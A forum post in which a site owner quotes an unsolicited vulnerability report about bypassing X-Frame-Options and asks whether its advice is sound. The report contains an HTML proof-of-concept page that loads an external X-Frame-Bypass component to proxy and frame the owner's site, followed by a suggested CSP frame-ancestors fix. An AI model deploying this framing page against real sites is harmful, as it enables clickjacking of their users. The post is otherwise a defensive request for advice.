Click Jacking bypass X-Frame-Options
-
Hi there,
Yesterday I received an e-mail from a guy who pretends to be a white hat hacker. Here is the mail :
Team I have found a vulnerability in your site.
bypass X-Frame-Options ( Proxy protection NOT used )Proxy protection NOT used , i can bypass X-Frame-Options header and recreate clickjacking on the whole domain.
I see that you don’t have a reverse proxy protection that allows attackers to proxy your website rather than iframe it.
POC:
<!DOCTYPE html>
<html>
<head>
<meta charset=”UTF-8″>
<meta name=”viewport” content=”width=device-width, initial-scale=1.0″>
<meta name=”description” content=”X-Frame-Bypass: Web Component extending IFrame to bypass X-Frame-Options: deny/sameorigin”>
<title>X-Frame-Bypass Web Component Demo</title>
<style>
html, body {
margin: 0;
padding: 0;
height: 100%;
overflow: hidden;
}
iframe {
display: block;
width: calc(100% – 40px);
height: calc(100% – 40px);
margin: 20px;
}
img {
position: absolute;
top: 0;
right: 0;
}
</style>
<script src=”https://unpkg.com/@ungap/custom-elements-builtin“></script>
<script src=”x-frame-bypass.js” type=”module”></script>
</head>
<body>
<h1> X-FRAME PROTECTION BYPASSED </h1>
<iframe is=”x-frame-bypass” src=”https://www.mysite.com/”></iframe>
</body>
</html>
FIX:
Content-Security-Policy: frame-ancestors ‘self’ is better, because it checks all frame ancestors
You should implement CSP header to avoid these sort of attacksWhat do you think about this suggestion ?
I will appreciate your opinion.
Viewing 4 replies - 1 through 4 (of 4 total)
Viewing 4 replies - 1 through 4 (of 4 total)
The topic ‘Click Jacking bypass X-Frame-Options’ is closed to new replies.
